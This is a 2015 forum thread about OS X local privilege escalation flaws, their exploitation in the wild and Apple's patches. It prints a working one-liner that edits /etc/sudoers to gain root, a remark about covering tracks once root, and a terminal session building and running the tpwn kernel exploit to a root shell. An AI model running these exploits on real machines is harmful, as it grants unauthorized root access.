CyberNerd Posted July 23, 2015 Posted July 23, 2015 (edited) echo 'echo "`whoami` ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s ==instant root! https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html fix: https://github.com/sektioneins/SUIDGuard Edited July 23, 2015 by CyberNerd
Jamo Posted July 23, 2015 Posted July 23, 2015 echo 'echo "$(whoami) ALL=(ALL) NOPASSWD:ALL" >&3' | DYLD_PRINT_TO_FILE=/etc/sudoers newgrp; sudo -s ==instant root! https://www.sektioneins.de/en/blog/15-07-07-dyld_print_to_file_lpe.html fix: https://github.com/sektioneins/SUIDGuard On the upside if they do run that, as long as your MACs are AD authenticated they will leave a pretty obvious trace in the sudoers file!!!!
CyberNerd Posted July 23, 2015 Author Posted July 23, 2015 On the upside if they do run that, as long as your MACs are AD authenticated they will leave a pretty obvious trace in the sudoers file!!!! Which will be pretty easy to cover tracks if you have root! Doesn't OSX have some sort of SELinux type thing for stuff like this?
Arthur Posted July 24, 2015 Posted July 24, 2015 (edited) Doesn't OS X have some sort of SELinux type thing for stuff like this? OS X El Capitan does. https://apple.stackexchange.com/questions/193368/what-is-the-rootless-feature-in-el-capitan-really/193379#193379 See also... If you want it fixed, upgrade to the El Capitan beta This flaw is present in the latest version of Yosemite, OS X 10.10.4, and the beta, version 10.10.5. If you upgrade to the El Capitan beta (OS X 10.11), you'll be free from the vulnerability as Apple has already fixed it in that preview beta. Once again, if you keep up with Cupertino and install (or buy) the very latest stuff, you'll be rewarded. Edited July 24, 2015 by Arthur
Arthur Posted July 24, 2015 Posted July 24, 2015 When is el capitan released? September/October going by previous OS X release dates.
CyberNerd Posted July 24, 2015 Author Posted July 24, 2015 ^ sucks. We've got to hit a sept deadline to re-image ITSuites. I'll have to try the patch
Arthur Posted August 7, 2015 Posted August 7, 2015 OS X sudoers exploit found in the wild Last month, Stefan Esser blogged about a zero-day vulnerability in OS X, without having informed Apple about the problem first. Unfortunately, today has brought the discovery of the first known exploit. Adam Thomas, a researcher at Malwarebytes, discovered a new adware installer, and while testing it, he discovered something very strange: his sudoers file had been modified! In addition to installing VSearch, the installer will also install a variant of the Genieo adware and the MacKeeper junkware. As its final operation, it directs the user to the Download Shuttle app on the Mac App Store. This is obviously very bad news. Apple has evidently known about this issue for a while now – not due to Esser, but thanks to a responsible researcher going by the Twitter handle @beist, who had alerted Apple some time before Esser discovered the bug. Unfortunately, Apple has not yet fixed this problem, and now it is beginning to bear fruit.
Arthur Posted August 13, 2015 Posted August 13, 2015 instant root! Fixed! Apple releases OS X 10.10.5 with DYLD vulnerability patch, bug fixes Apple today released OS X Yosemite 10.10.5, an under-the-hood update that introduces bug fixes, security enhancements, and performance improvements. OS X 10.10.5 is being released to the public after two developer betas and one month of testing. The OS X 10.10.5 update can be downloaded through the Software Update mechanism in the Mac App Store. Today's update notably includes a fix for the DYLD_PRINT_TO_FILE privilege escalation vulnerability that could allow malware to gain root access to a Mac. Earlier this month, a DYLD_PRINT_TO_FILE exploit was found to be in use in the wild, so this is an update that all Mac users running Yosemite will want to install as soon as possible. 1
Arthur Posted August 16, 2015 Posted August 16, 2015 (edited) There's a brand new privilege escalation vulnerability that affects 10.9-10.10.5 (although not 10.11). OS X 10.10.5 kernel local privilege escalation $ git clone https://github.com/kpwn/tpwn.git Cloning into 'tpwn'... remote: Counting objects: 16, done. remote: Compressing objects: 100% (11/11), done. remote: Total 16 (delta 3), reused 16 (delta 3), pack-reused 0 Unpacking objects: 100% (16/16), done. Checking connectivity... done. $ cd tpwn $ make gcc *.m -o tpwn -framework IOKit -framework Foundation -m32 -Wl,-pagezero_size,0 -O3 strip tpwn $ ./tpwn leaked kaslr slide, @ 0x0000000008e00000 sh-3.2# whoami [color="#FF0000"][b]root[/b][/color] sh-3.2# Edited August 16, 2015 by Arthur
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now